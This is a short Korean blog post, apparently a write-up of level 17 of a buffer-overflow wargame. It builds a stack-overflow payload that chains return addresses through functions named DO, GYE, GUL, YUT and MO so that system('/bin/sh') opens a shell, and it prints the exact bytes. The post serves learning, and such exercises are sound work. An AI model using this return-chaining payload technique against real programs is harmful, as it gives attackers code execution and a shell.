level 17
2020. 9. 10. 06:07



어우.. 기네요.
사실 별거없는 문제입니다.
'MO'라는 사용자정의 함수에 system 함수가 존재하기 때문에 RET을 연계해 "/bin/sh"라는 문자열만 전달하면 됩니다.
payload로 넣어야할 값을 간단하게 적어보겠습니다.
"A"*44 | addr 'DO' | addr 'GYE' | addr 'GUL' | addr 'GUL' | addr 'YUT' | addr 'MO' | dummy(4) | &"/bin/sh" | "/bin/sh"
이제 필요한 재료들을 모아보겠습니다.

각각의 주소가 나와있네요.
참고로 "/bin/sh"의 주소는 40으로 시작하기에 초기화되어있습니다.
따라서 "/bin/sh" 문자열을 직접 payload에 입력해 저장되는 주소를 인자로 주겠습니다.


.c 확장자 소스파일을 복사해 저 부분을 없앤 뒤 저장합니다.
왜인지 모르게 위에서 알아낸 주소가 사본에서는 통하지 않더군요.
단지 "/bin/sh"의 주소를 알아내기 위한 것이니 괜찮습니다.


0xbffffa98이 "/bin/sh"의 시작주소네요.
이제 원본 파일에 바로 사용하기위해 payload를 작성하겠습니다.
"A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\x98\xfa\xff\xbf" + "/bin/sh"

성공!
마치 RET Sled 같네요.



